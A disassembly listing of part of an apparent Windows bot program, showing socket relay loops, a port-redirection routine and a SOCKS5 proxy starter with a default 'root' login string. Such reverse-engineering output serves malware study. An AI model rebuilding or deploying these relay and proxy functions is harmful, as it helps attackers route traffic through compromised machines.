		mov	eax, [edx+0A5h]
		lea	ecx, [esp+14h]
		push	1000h
		push	ecx
		push	eax
		call	ebx	; recv
		test	eax, eax
		jz	short loc_42B4CC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42B4CC
		mov	edx, [esi+9Dh]
		push	0
		push	eax
		lea	ecx, [esp+28h+var_10]
		mov	eax, [edx+0A1h]
		push	ecx
		push	eax
		call	ebp	; send
		test	eax, eax
		jz	short loc_42B4CC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42B4CC
		mov	ecx, [esi+99h]
		mov	al, [ecx+11Ch]
		test	al, al
		jnz	short loc_42B46C


loc_42B4CC:				; CODE XREF: sub_42B440+1Ej
					; sub_42B440+55j ...
		mov	edx, [esi+9Dh]
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, [edx+0A1h]
		pop	ebx
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42B4E8
		push	eax
		nop
		call	near ptr 71AB9639h


loc_42B4E8:				; CODE XREF: sub_42B440+9Fj
		add	esp, 1000h
		retn
sub_42B440	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B520	proc near		; CODE XREF: sub_401663j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42B520
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F82
		push	offset off_443D44
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E1B0
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42B520	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B590	proc near		; CODE XREF: ___:004013A7j sub_401B22j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401217
		test	[esp+4+arg_0], 1
		jz	short loc_42B5A8
		push	esi
		call	sub_436882
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42B5A8:				; CODE XREF: sub_42B590+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42B590	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42B5C0	proc near		; CODE XREF: sub_401217j
		jmp	sub_40179E
sub_42B5C0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B5E0	proc near		; CODE XREF: sub_40152Dj

var_50		= byte ptr -50h
var_40		= byte ptr -40h
var_30		= byte ptr -30h
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_C		= byte ptr -0Ch
var_A		= word ptr -0Ah
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, 1014h
		call	sub_4368E0
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+99h]
		mov	[esi+0A5h], edi
		mov	cl, [eax+11Ch]
		test	cl, cl
		jz	loc_42B7AA
		mov	ebx, 1
		push	6
		push	ebx
		push	2
		call	near ptr 71AB3B91h
		nop
		cmp	eax, edi
		mov	[esi+0A5h], eax
		jnz	short loc_42B638
		mov	[esi+0A5h], edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1014h
		retn
; ---------------------------------------------------------------------------


loc_42B638:				; CODE XREF: sub_42B5E0+45j
		mov	dx, [esi+3Fh]
		xor	ecx, ecx
		mov	[esp+1Ch+var_8], ecx
		push	edx
		mov	[esp+20h+var_4], ecx
		mov	word ptr [esp+20h+var_8], 2
		mov	[esp+20h], ecx
		mov	[esp+20h+arg_0], ecx
		call	near ptr 71AB2B66h
		nop
		lea	ecx, [esi+43h]
		mov	[esp+20h+var_A], ax
		call	sub_4017E4
		push	eax
		call	sub_40187F
		add	esp, 4
		cmp	eax, edi
		mov	[esp+20h+var_8], eax
		jnz	short loc_42B692
		mov	eax, [esi+0A5h]
		push	eax
		call	near ptr 71AB9639h
		nop
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1014h
		retn
; ---------------------------------------------------------------------------


loc_42B692:				; CODE XREF: sub_42B5E0+98j
		mov	edx, [esi+0A5h]
		lea	ecx, [esp+20h+var_C]
		push	10h
		push	ecx
		push	edx
		call	near ptr 71AB406Ah
		nop
		cmp	eax, edi
		jnz	short loc_42B6C2
		mov	eax, [esi+0A5h]
		push	eax
		call	near ptr 71AB9639h
		nop
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1014h
		retn
; ---------------------------------------------------------------------------


loc_42B6C2:				; CODE XREF: sub_42B5E0+C8j
		mov	edx, [esi+0A1h]
		mov	edi, dword_50FC50
		lea	ecx, [esp+2Ch+var_1C]
		mov	[esp+2Ch+var_1C], ebx
		push	ecx
		push	8004667Eh
		push	edx
		call	edi	; ioctlsocket
		mov	ecx, [esi+0A5h]
		lea	eax, [esp+38h+var_28]
		push	eax
		push	8004667Eh
		push	ecx
		mov	[esp+44h+var_28], ebx
		call	edi	; ioctlsocket
		mov	edx, [esi+99h]
		mov	al, [edx+11Ch]
		test	al, al
		jz	loc_42B7AA
		mov	ebx, dword_50FC90
		mov	ebp, dword_50FC8C


loc_42B716:				; CODE XREF: sub_42B5E0+1BAj
		mov	ecx, [esi+0A5h]
		push	0
		lea	eax, [esp+48h+var_20]
		push	1000h
		push	eax
		push	ecx
		call	ebx	; recv
		mov	edi, eax
		test	edi, edi
		jz	short loc_42B7AA
		jge	short loc_42B740
		nop
		call	near ptr 71AB94DCh
		cmp	eax, 2733h
		jnz	short loc_42B7A2


loc_42B740:				; CODE XREF: sub_42B5E0+151j
		mov	eax, [esi+0A1h]
		push	0
		lea	edx, [esp+58h+var_30]
		push	edi
		push	edx
		push	eax
		call	ebp	; send
		mov	edx, [esi+0A1h]
		push	0
		lea	ecx, [esp+68h+var_40]
		push	1000h
		push	ecx
		push	edx
		call	ebx	; recv
		mov	edi, eax
		test	edi, edi
		jz	short loc_42B7AA
		jge	short loc_42B77B
		nop
		call	near ptr 71AB94DCh
		cmp	eax, 2733h
		jnz	short loc_42B7A2


loc_42B77B:				; CODE XREF: sub_42B5E0+18Cj
		mov	ecx, [esi+0A5h]
		push	0
		lea	eax, [esp+78h+var_50]
		push	edi
		push	eax
		push	ecx
		call	ebp	; send
		mov	edx, [esi+99h]
		mov	al, [edx+11Ch]
		test	al, al
		jnz	loc_42B716
		jmp	short loc_42B7AA
; ---------------------------------------------------------------------------


loc_42B7A2:				; CODE XREF: sub_42B5E0+15Ej
					; sub_42B5E0+199j
		push	0Ah
		nop
		call	near ptr 28C1E38h


loc_42B7AA:				; CODE XREF: sub_42B5E0+27j
					; sub_42B5E0+124j ...
		mov	eax, [esi+0A1h]
		mov	edi, dword_50FC88
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42B7BE
		push	eax
		call	edi	; closesocket


loc_42B7BE:				; CODE XREF: sub_42B5E0+1D9j
		mov	esi, [esi+0A5h]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_42B7CC
		push	esi
		call	edi	; closesocket


loc_42B7CC:				; CODE XREF: sub_42B5E0+1E7j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1014h
		retn
sub_42B5E0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 80h dup(0CCh)
		db  6Ah	; j
		db 0FFh
		db  68h	; h
		db 0E8h	; 
		db 0BCh	; 
		db  43h	; C
		db    0
		db  64h	; d
		db 0A1h	; 
		db    0
		db    0
		db    0
		db    0
		db  50h	; P
		db  64h	; d
		db  89h	; 
		db  25h	; %
		db    0
		db    0
		db    0
		db    0
		db  51h	; Q
		db  56h	; V
		db  8Bh	; 
		db 0F1h	; 
		db  89h	; 
		db  74h	; t
		db  24h	; $
		db    4
		db 0E8h	; 
		db    0
		db  67h	; g
		db 0FDh	; 
		db 0FFh
		db  68h	; h
		db  44h	; D
		db  3Dh	; =
		db  44h	; D
		db    0
		db  8Dh	; 
		db  4Eh	; N
		db  11h
		db 0C7h	; 
		db  44h	; D
		db  24h	; $
		db  14h
		db    0
		db    0
		db    0
		db    0
		db 0C7h	; 
		db    6
		db 0C0h	; 
		db 0E1h	; 
		db  43h	; C
		db    0
		db 0E8h	; 
		db  3Ah	; :
		db  5Dh	; ]
		db 0FDh	; 
		db 0FFh
		db  8Bh	; 
		db  4Ch	; L
		db  24h	; $
		db    8
		db  8Bh	; 
		db 0C6h	; 
		db  5Eh	; ^
		db  64h	; d
		db  89h	; 
		db  0Dh
		db    0
		db    0
		db    0
		db    0
		db  83h	; 
		db 0C4h	; 
		db  10h
		db 0C3h	; 
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42B8D0:				; CODE XREF: ___:loc_4015F0j
					; ___:00401FAAj
		push	esi
		mov	esi, ecx
		call	sub_401B8B
		test	byte ptr [esp+8], 1
		jz	short loc_42B8E8
		push	esi
		call	sub_436882
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42B8E8:				; CODE XREF: ___:0042B8DDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42B900	proc near		; CODE XREF: sub_401B8Bj
		jmp	sub_40179E
sub_42B900	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B920	proc near		; CODE XREF: sub_4019E2j

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_42B920
		push	eax
		mov	large fs:0, esp
		sub	esp, 28h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+3Fh]
		lea	ebx, [esi+43h]
		push	eax
		mov	ecx, ebx
		lea	edi, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_4017E4
		mov	ecx, [esi+3Bh]
		push	eax
		push	ecx
		mov	ecx, edi
		call	sub_4017E4
		push	eax
		push	offset aSRedirectingFr ; "[%s] Redirecting from	Port %d	to '%s:%d"...
		mov	ecx, ebp
		call	sub_4014D3
		mov	dl, [esi+98h]
		push	eax
		mov	al, [esi+97h]
		push	edx
		push	eax
		push	offset byte_4D6075
		call	sub_401848
		add	esp, 24h
		push	6
		push	1
		push	2
		call	near ptr 71AB3B91h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[esi+9Dh], eax
		jz	loc_42BB58
		mov	dx, [esi+3Bh]
		xor	ecx, ecx
		mov	[esp+44h+var_2C], ecx
		push	edx
		mov	[esp+48h+var_28], ecx
		mov	word ptr [esp+48h+var_2C], 2
		mov	[esp+48h+var_24], ecx
		mov	[esp+48h+var_20], ecx
		call	near ptr 71AB2B66h
		nop
		mov	ecx, [esi+9Dh]
		mov	word ptr [esp+44h+var_2C+2], ax
		lea	eax, [esp+44h+var_2C]
		push	10h
		push	eax
		push	ecx
		mov	[esp+50h+var_34], 10h
		call	near ptr 71AB3E00h
		nop
		test	eax, eax
		jz	short loc_42BA0B
		mov	edx, [esi+9Dh]
		push	edx
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	ecx, [esp+34h+var_C]
		mov	large fs:0, ecx
		add	esp, 34h
		retn
; ---------------------------------------------------------------------------


loc_42BA0B:				; CODE XREF: sub_42B920+C9j
		mov	eax, [esi+99h]
		mov	cl, [eax+11Ch]
		test	cl, cl
		jz	loc_42BB04


loc_42BA1F:				; CODE XREF: sub_42B920+1DEj
		mov	ecx, [esi+9Dh]
		push	0Ah
		push	ecx
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jz	loc_42BAE5
		mov	ecx, [esi+9Dh]
		lea	edx, [esp+44h+var_34]
		lea	eax, [esp+44h+var_1C]
		push	edx
		push	eax
		push	ecx
		nop
		call	near ptr 71AC1028h
		mov	ebp, eax
		cmp	ebp, 0FFFFFFFFh
		jz	loc_42BAE5
		xor	edi, edi
		cmp	ebp, edi
		jz	loc_42BAE5
		push	0A9h
		call	sub_43689A
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+44h+var_30], eax
		cmp	eax, edi
		mov	[esp+44h+var_4], edi
		jz	short loc_42BA85
		mov	ecx, eax
		call	sub_401663
		mov	edi, eax


loc_42BA85:				; CODE XREF: sub_42B920+15Aj
		mov	edx, [esi+99h]
		mov	[edi+9Dh], esi
		mov	[edi+99h], edx
		mov	eax, [esi+3Bh]
		mov	[edi+3Bh], eax
		mov	ecx, [esi+3Fh]
		mov	[edi+3Fh], ecx
		push	ebx
		lea	ecx, [edi+43h]
		mov	[esp+48h+var_4], 0FFFFFFFFh
		call	sub_401FBE
		lea	eax, [esi+26h]
		lea	ecx, [edi+26h]
		push	eax
		mov	[edi+0A1h], ebp
		call	sub_401FBE
		mov	dl, [esi+97h]
		mov	ecx, edi
		mov	[edi+97h], dl
		mov	al, [esi+98h]
		mov	[edi+98h], al
		call	sub_4013D4


loc_42BAE5:				; CODE XREF: sub_42B920+111j
					; sub_42B920+133j ...
		push	0FAh
		nop
		call	near ptr 28C1E38h
		mov	ecx, [esi+99h]
		mov	al, [ecx+11Ch]
		test	al, al
		jnz	loc_42BA1F


loc_42BB04:				; CODE XREF: sub_42B920+F9j
		mov	eax, [esi+9Dh]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42BB16
		push	eax
		nop
		call	near ptr 71AB9639h


loc_42BB16:				; CODE XREF: sub_42B920+1EDj
		mov	edx, [esi+3Fh]
		mov	ecx, ebx
		push	edx
		call	sub_4017E4
		push	eax
		mov	eax, [esi+3Bh]
		push	eax
		lea	ecx, [esi+11h]
		call	sub_4017E4
		push	eax
		push	offset aSFinishedRed_0 ; "[%s] Finished	redirecting from port %d "...
		lea	ecx, [esi+26h]
		call	sub_4014D3
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D6075
		call	sub_401848
		add	esp, 24h


loc_42BB58:				; CODE XREF: sub_42B920+7Cj
		mov	ecx, [esp+44h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 34h
		retn
sub_42B920	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42BC10	proc near		; CODE XREF: sub_4021DFj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42BC10
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	10h
		push	3
		push	14h
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		mov	esi, ecx
		push	5
		lea	eax, [esp+74h+var_3C]
		push	12h
		push	eax
		mov	dword ptr [esi+118h], 0
		call	sub_4019B5
		add	esp, 38h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447118
		call	sub_401591
sub_42BC10	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	5
		push	12h
		push	7
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	edx, [esp+38h]
		push	12h
		push	edx
		call	sub_4019B5
		add	esp, 38h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_447118
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	14h
		push	14h
		push	8
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	ecx, [esp+3Ch]
		push	12h
		push	ecx
		call	sub_4019B5
		add	esp, 3Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017E4
		lea	edx, [esi+60h]
		push	eax
		push	edx
		mov	ecx, offset dword_447118
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	13h
		push	0Bh
		push	3
		push	0Fh
		push	13h
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	eax, [esp+40h]
		push	12h
		push	eax
		call	sub_4019B5
		add	esp, 40h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017E4
		lea	ecx, [esi+8Eh]
		push	eax
		push	ecx
		mov	ecx, offset dword_447118
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	49h
		push	13h
		push	0Bh
		push	3
		push	0Fh
		push	13h
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	edx, [esp+44h]
		push	12h
		push	edx
		call	sub_4019B5
		add	esp, 44h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017E4
		push	eax
		lea	eax, [esi+0BCh]
		push	eax
		mov	ecx, offset dword_447118
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	0Fh
		push	14h
		push	13h
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	ecx, [esp+54h]
		push	12h
		push	ecx
		call	sub_4019B5
		add	esp, 3Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 5
		call	sub_4017E4
		add	esi, 0EAh
		push	eax
		push	esi
		mov	ecx, offset dword_447118
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 0A0h	dup(0CCh)
; ---------------------------------------------------------------------------


loc_42BF00:				; CODE XREF: ___:loc_40202Cj
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_43BE24
		push	eax
		mov	large fs:0, esp
		sub	esp, 68h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+84h]
		mov	ebp, ecx
		push	edi
		lea	edi, [esi+7Eh]
		lea	ecx, [ebp+4]
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		or	ebx, 0FFFFFFFFh
		test	eax, eax
		jnz	loc_42C067
		push	0A1h
		call	sub_43689A
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 88248489h, 33000000h, 89C73BFFh, 8024BCh, 9740000h
		dd 0F3E8C88Bh, 8BFFFD56h, 360068F8h, 448D0044h,	16A4C24h
		dd 11C85C6h, 50010000h,	9C89CE8Bh, 8C24h, 99AF8900h, 0E8000000h
		dd 0FFFD571Ah, 84C7C88Bh, 8024h, 100h, 583EE800h, 9050FFFDh
		dd 7EFF6BE8h, 4C48377h,	48244C8Dh, 893B4789h, 80249Ch
		dd 63E80000h, 68FFFD52h, 443600h, 4C244C8Dh, 8B51026Ah
		dd 56D8E8CEh, 8D50FFFDh, 84C7434Fh, 8424h, 200h, 5FD4E800h
		dd 4C8DFFFDh, 9C894824h, 8024h,	522CE800h, 68FFFDh, 8D004436h
		dd 6A4C2454h, 0CE8B5203h, 0FD56A1E8h, 0C7C88BFFh, 802484h
		dd 30000h, 0C5E80000h, 50FFFD57h, 7EFEF3E8h, 0C4839077h
		dd 244C8D04h, 3F478948h, 80249C89h, 0E8000000h,	0FFFD51EAh
		dd 8D69468Dh, 0E850264Fh, 0FFFD5F76h, 938E8Ah, 8F880000h
		dd 97h,	94968Ah, 0CF8B0000h, 989788h, 6DE80000h
		db 53h,	0FDh, 0FFh
; ---------------------------------------------------------------------------


loc_42C067:				; CODE XREF: ___:0042BF3Dj
		lea	ecx, [ebp+32h]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42C197
		push	9Dh
		call	sub_43689A
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+88h], eax
		test	eax, eax
		mov	dword ptr [esp+80h], 4
		jz	short loc_42C0AE
		mov	ecx, eax
		call	sub_401889
		mov	edi, eax
		jmp	short loc_42C0B0
; ---------------------------------------------------------------------------


loc_42C0AE:				; CODE XREF: ___:0042C0A1j
		xor	edi, edi


loc_42C0B0:				; CODE XREF: ___:0042C0ACj
		push	offset asc_443600 ; " "
		lea	eax, [esp+4Ch]
		push	1
		mov	byte ptr [ebp+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	[esp+8Ch], ebx
		mov	[edi+99h], ebp
		call	sub_4016AE
		push	eax
		lea	ecx, [edi+58h]
		mov	dword ptr [esp+84h], 5
		call	sub_401FBE
		lea	ecx, [esp+48h]
		mov	[esp+80h], ebx
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+4Ch]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		push	eax
		lea	ecx, [edi+6Dh]
		mov	dword ptr [esp+84h], 6
		call	sub_401FBE
		lea	ecx, [esp+48h]
		mov	[esp+80h], ebx
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+4Ch]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		push	eax
		lea	ecx, [edi+82h]
		mov	dword ptr [esp+84h], 7
		call	sub_401FBE
		lea	ecx, [esp+48h]
		mov	[esp+80h], ebx
		call	sub_401226
		lea	eax, [esi+69h]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_401FBE
		mov	cl, [esi+93h]
		mov	[edi+97h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+98h], dl
		call	sub_4013D4


loc_42C197:				; CODE XREF: ___:0042C07Aj
		lea	ecx, [ebp+60h]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42C2C0
		push	0A2h
		call	sub_43689A
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+88h], eax
		test	eax, eax
		mov	dword ptr [esp+80h], 8
		jz	short loc_42C1DE
		mov	ecx, eax
		call	sub_4018DE
		mov	edi, eax
		jmp	short loc_42C1E0
; ---------------------------------------------------------------------------


loc_42C1DE:				; CODE XREF: ___:0042C1D1j
		xor	edi, edi


loc_42C1E0:				; CODE XREF: ___:0042C1DCj
		push	offset asc_443600 ; " "
		lea	eax, [esp+4Ch]
		push	1
		mov	byte ptr [ebp+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	[esp+8Ch], ebx
		mov	[edi+99h], ebp
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+80h], 9
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+48h]
		mov	[edi+3Bh], eax
		mov	[esp+80h], ebx
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+4Ch]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		push	offset aTrue	; "true"
		mov	ecx, eax
		mov	dword ptr [esp+84h], 0Ah
		call	sub_401500
		test	eax, eax
		lea	ecx, [esp+48h]
		mov	[esp+80h], ebx
		setz	byte ptr [esp+88h]
		call	sub_401226
		mov	al, [esp+88h]
		test	al, al
		jz	short loc_42C28E
		mov	byte ptr [edi+9Dh], 1
		jmp	short loc_42C295
; ---------------------------------------------------------------------------


loc_42C28E:				; CODE XREF: ___:0042C283j
		mov	byte ptr [edi+9Dh], 0


loc_42C295:				; CODE XREF: ___:0042C28Cj
		lea	edx, [esi+69h]
		lea	ecx, [edi+26h]
		push	edx
		call	sub_401FBE
		mov	al, [esi+93h]
		mov	[edi+97h], al
		mov	cl, [esi+94h]
		mov	[edi+98h], cl
		mov	ecx, edi
		call	sub_4013D4


loc_42C2C0:				; CODE XREF: ___:0042C1AAj
		lea	ecx, [ebp+8Eh]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42C38D
		push	0A1h
		call	sub_43689A
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+88h], eax
		test	eax, eax
		mov	dword ptr [esp+80h], 0Bh
		jz	short loc_42C30A
		mov	ecx, eax
		call	sub_40216C
		mov	edi, eax
		jmp	short loc_42C30C
; ---------------------------------------------------------------------------


loc_42C30A:				; CODE XREF: ___:0042C2FDj
		xor	edi, edi


loc_42C30C:				; CODE XREF: ___:0042C308j
		push	offset asc_443600 ; " "
		lea	edx, [esp+4Ch]
		push	1
		mov	byte ptr [ebp+11Ch], 1
		push	edx
		mov	ecx, esi
		mov	[esp+8Ch], ebx
		mov	[edi+99h], ebp
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+80h], 0Ch
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+48h]
		mov	[edi+3Bh], eax
		mov	[esp+80h], ebx
		call	sub_401226
		lea	eax, [esi+69h]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_401FBE
		mov	cl, [esi+93h]
		mov	[edi+97h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+98h], dl
		call	sub_4013D4


loc_42C38D:				; CODE XREF: ___:0042C2D6j
		lea	ecx, [ebp+0BCh]
		call	sub_4014D3
		lea	edi, [esi+7Eh]
		push	eax
		mov	ecx, edi
		mov	[esp+8Ch], edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42C5B9
		lea	ecx, [esp+30h]
		call	sub_401424
		lea	ecx, [esp+18h]
		mov	dword ptr [esp+80h], 0Dh
		call	sub_401424
		push	offset asc_443600 ; " "
		lea	eax, [esp+4Ch]
		push	2
		push	eax
		mov	ecx, esi
		mov	byte ptr [esp+8Ch], 0Eh
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+80h], 0Fh
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+34h]
		call	sub_401A87
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+80h], 0Eh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+4Ch]
		push	3
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+80h], 10h
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+1Ch]
		call	sub_401A87
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+80h], 0Eh
		call	sub_401226
		lea	ecx, [esp+30h]
		call	sub_4014D3
		cmp	eax, offset byte_446F30
		jnz	short loc_42C46F
		push	offset aRoot	; "root"
		lea	ecx, [esp+1Ch]
		call	sub_401A87


loc_42C46F:				; CODE XREF: ___:0042C45Fj
		lea	ecx, [esp+18h]
		call	sub_4014D3
		cmp	eax, offset byte_446F30
		jnz	short loc_42C48D
		push	offset byte_446F30
		lea	ecx, [esp+1Ch]
		call	sub_401A87


loc_42C48D:				; CODE XREF: ___:0042C47Dj
		push	offset asc_443600 ; " "
		lea	edx, [esp+4Ch]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	edi, eax
		lea	ecx, [esp+18h]
		mov	byte ptr [esp+80h], 11h
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+34h]
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4017E4
		mov	edi, dword_50FB08
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esi+69h]
		push	eax
		push	offset aSocks5Starting ; "[Socks5] Starting Redirect [Port %d :: "...
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D6075
		call	sub_401848
		add	esp, 20h
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+80h], 0Eh
		call	sub_401226
		lea	ecx, [esp+18h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+28h], esp
		push	eax
		call	sub_401861
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+98h], 12h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+44h], esp
		push	eax
		call	sub_401861
		push	offset asc_443600 ; " "
		lea	edx, [esp+94h]
		push	1
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+0BCh], 13h
		call	sub_4016AE
		mov	ecx, eax
